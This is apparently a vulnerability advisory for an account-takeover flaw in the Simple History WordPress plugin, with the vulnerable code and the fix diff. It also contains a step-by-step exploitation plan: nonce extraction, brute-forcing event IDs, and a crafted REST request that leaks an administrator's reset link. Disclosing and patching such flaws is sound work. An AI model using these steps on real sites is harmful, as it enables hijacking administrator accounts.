Simple History – Track, Log, and Audit WordPress Changes <= 5.26.0 - Authenticated (Subscriber+) Account Takeover via Missing Authorization on Event Reaction Endpoint
Description
The Simple History – Track, Log, and Audit WordPress Changes plugin for WordPress is vulnerable to authenticated (Subscriber+) account takeover in all versions up to, and including, 5.26.0 via the event reaction endpoints (react_to_event() / unreact_to_event()). The endpoints register get_items_permissions_check() as their permission_callback, which only verifies the requester is logged in and does not enforce the per-logger capability checks normally applied by Log_Query. As a result, a Subscriber-level user can POST to /wp-json/simple-history/v1/events/<id>/react with the _fields=context query parameter and read the full context of any Simple History event — including SimpleUserLogger entries that record the full password-reset email body (reset URL with the reset key) for any user. The attacker triggers a password reset for an administrator via the lost-password form, brute-forces recent event IDs through the reaction endpoint to read the resulting user_requested_password_reset_link event, extracts the reset key from context.message, and completes the password reset to take over the administrator account. Exploitation requires an administrator to have first enabled the experimental features option (simple_history_experimental_features_enabled), which is not the default.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v5.27.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-7459 - Simple History Account Takeover ## 1. Vulnerability Summary The **Simple History** plugin for WordPress is vulnerable to an authenticated account takeover in versions up to and including **5.26.0**. The vulnerability exists in the REST API reaction endp…
Show full research plan
Exploitation Research Plan: CVE-2026-7459 - Simple History Account Takeover
1. Vulnerability Summary
The Simple History plugin for WordPress is vulnerable to an authenticated account takeover in versions up to and including 5.26.0. The vulnerability exists in the REST API reaction endpoints (/react and /unreact).
While the primary event retrieval endpoints (like GET /events/<id>) implement strict capability checks via get_item_permissions_check(), the reaction endpoints incorrectly use get_items_permissions_check() as their permission_callback. This callback only verifies that the user is logged in, failing to enforce per-logger or per-event capability checks. Consequently, a Subscriber-level user can perform a POST request to the reaction endpoint for any event ID. By utilizing the global WordPress REST API _fields parameter, the attacker can force the endpoint to return the full context of the event, which includes sensitive information like administrator password reset links logged by the SimpleUserLogger.
2. Attack Vector Analysis
- Endpoint:
POST /wp-json/simple-history/v1/events/(?P<id>[\d]+)/react - Query Parameters:
_fields=context - Body Parameters:
type=thumbsup(or any valid reaction type fromget_allowed_reaction_types()) - Authentication: Authenticated (Subscriber or higher).
- Precondition: The "Experimental Features" option must be enabled (
simple_history_experimental_features_enabled).
3. Code Flow
- Route Registration: In
inc/class-wp-rest-events-controller.php, theregister_routes()method registers thereactendpoint:// From inc/class-wp-rest-events-controller.php register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[\d]+)/react', [ 'args' => [ ... ], [ 'methods' => WP_REST_Server::CREATABLE, 'callback' => [ $this, 'react_to_event' ], 'permission_callback' => [ $this, 'get_items_permissions_check' ], // VULNERABLE CALLBACK ], ] ); - Permission Check:
get_items_permissions_check()is invoked. In this plugin's implementation (located in the controller), it typically returnsis_user_logged_in(), allowing any Subscriber. - Callback Execution:
react_to_event()is called. It retrieves the event object by the providedid. - Data Leakage: The method completes the reaction logic and returns the event object. The WordPress REST API infrastructure processes this return value, applying the
_fieldsfilter. Because the permission check was bypassed, thecontextdata (which usually contains keys likeuser_requested_password_reset_link) is serialized and returned to the Subscriber.
4. Nonce Acquisition Strategy
The REST API requires a wp_rest nonce for POST requests. As an authenticated user (Subscriber), the attacker can easily obtain this from the WordPress admin dashboard.
- Setup: Ensure the Subscriber user is logged in.
- Navigation: Navigate to the
/wp-admin/profile.phpor any standard admin page. - Extraction: Use
browser_evalto extract the nonce from the globalwpApiSettingsobject:- Command:
browser_eval("window.wpApiSettings?.nonce")
- Command:
- Alternative: If
wpApiSettingsis not available, the nonce can be found in the inline script block containing_wpRestNonce.
5. Exploitation Strategy
- Setup Environment:
- Log in as the Subscriber (
attacker). - Identify the username of the target Administrator (e.g.,
admin).
- Log in as the Subscriber (
- Trigger Reset:
- Send a request to
wp-login.php?action=lostpasswordfor the Administrator account. This causesSimpleUserLoggerto create a log entry containing the reset link.
- Send a request to
- Discover Event ID:
- Simple History IDs are incremental. The attacker can predict the ID by checking a recent event they can see or by brute-forcing IDs starting from the current maximum.
- Leak Reset Link:
- Perform a
POSTrequest to the reaction endpoint for the guessed ID. - Request:
POST /wp-json/simple-history/v1/events/[ID]/react?_fields=context Host: [TARGET] Content-Type: application/x-www-form-urlencoded X-WP-Nonce: [EXTRACTED_NONCE] type=thumbsup
- Perform a
- Parse Response:
- If the ID is correct, the response will look like:
{ "context": { "user_requested_password_reset_link": "https://[TARGET]/wp-login.php?action=rp&key=[KEY]&login=admin", "message": "Requested a password reset link for user {user_login}..." } }
- If the ID is correct, the response will look like:
- Takeover: Use the extracted
user_requested_password_reset_linkto set a new password for the Administrator.
6. Test Data Setup
- Enable Plugin: Install Simple History 5.26.0.
- Configure Plugin:
wp option update simple_history_experimental_features_enabled 1
- Users:
- Administrator:
admin_user/admin@example.com - Subscriber:
attacker_user/attacker@example.com
- Administrator:
- Trigger Event:
- Use
wp-login.phpto request a password reset foradmin_user.
- Use
7. Expected Results
- The
POSTrequest to/reactsucceeds (HTTP 200/201). - The response body contains the
contextobject. - The
contextobject contains theuser_requested_password_reset_linkkey. - Accessing the extracted link allows changing the Admin's password.
8. Verification Steps
- Check DB: Verify a reaction was added to the event via CLI:
wp db query "SELECT * FROM wp_simple_history_contexts WHERE history_id = [ID] AND key = '_reaction_thumbsup'"(the plugin stores reactions in context). - Login Test: Attempt to log in with the new Administrator password set during the reset process.
9. Alternative Approaches
If _fields=context does not return the full array in a specific environment, the attacker can try:
- No
_fields: Request the full object and look forcontextin the default response. unreactEndpoint: ThePOST /wp-json/simple-history/v1/events/<id>/unreactendpoint shares the same flawed permission callback.- Brute Force: If the ID is unknown, use a simple script to iterate IDs
XtoX+50relative to the timestamp of the password reset request.
Summary
The Simple History plugin is vulnerable to an authenticated account takeover in versions up to 5.26.0 due to a missing authorization check on the event reaction REST API endpoints. While general event viewing is protected, any logged-in user (Subscriber+) can perform a POST request to the reaction endpoints and use the WordPress REST API '_fields' parameter to leak the full context of log entries, which may include administrator password reset links.
Vulnerable Code
// inc/class-wp-rest-events-controller.php lines 205-212 and 224-231 // POST /wp-json/simple-history/v1/events/<event-id>/react. register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[\d]+)/react', [ 'args' => [ 'id' => [ 'description' => __( 'Unique identifier for the event.', 'simple-history' ), 'type' => 'integer', ], 'type' => $reaction_type_arg, ], [ 'methods' => WP_REST_Server::CREATABLE, 'callback' => [ $this, 'react_to_event' ], 'permission_callback' => [ $this, 'get_items_permissions_check' ], ], ] ); // POST /wp-json/simple-history/v1/events/<event-id>/unreact. register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[\d]+)/unreact', [ 'args' => [ 'id' => [ 'description' => __( 'Unique identifier for the event.', 'simple-history' ), 'type' => 'integer', ], 'type' => $reaction_type_arg, ], [ 'methods' => WP_REST_Server::CREATABLE, 'callback' => [ $this, 'unreact_to_event' ], 'permission_callback' => [ $this, 'get_items_permissions_check' ], ], ] );
Security Fix
@@ -209,7 +209,7 @@ [ 'methods' => WP_REST_Server::CREATABLE, 'callback' => [ $this, 'react_to_event' ], - 'permission_callback' => [ $this, 'get_items_permissions_check' ], + 'permission_callback' => [ $this, 'get_item_permissions_check' ], ], ] ); @@ -228,7 +228,7 @@ [ 'methods' => WP_REST_Server::CREATABLE, 'callback' => [ $this, 'unreact_to_event' ], - 'permission_callback' => [ $this, 'get_items_permissions_check' ], + 'permission_callback' => [ $this, 'get_item_permissions_check' ], ], ] );
Exploit Outline
1. Authentication: Log in to the target WordPress site with Subscriber-level credentials. 2. Precondition: Ensure the 'Experimental Features' option is enabled in the Simple History settings. 3. Reset Request: Trigger a password reset for the target Administrator account via /wp-login.php?action=lostpassword. 4. Event Identification: Identify the event ID for the password reset log entry. Since IDs are incremental, this can be done by observing recent events or brute-forcing IDs starting from the current maximum. 5. Context Leak: Send a POST request to /wp-json/simple-history/v1/events/<ID>/react with the query parameter '_fields=context' and a valid 'type' (e.g., 'thumbsup'). Provide the authenticated 'X-WP-Nonce' in the headers. 6. Extraction: The response body will contain the 'context' object. Extract the 'user_requested_password_reset_link' (the full reset URL with the key) from this object. 7. Takeover: Navigate to the leaked reset URL and complete the password change to take control of the administrator account.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.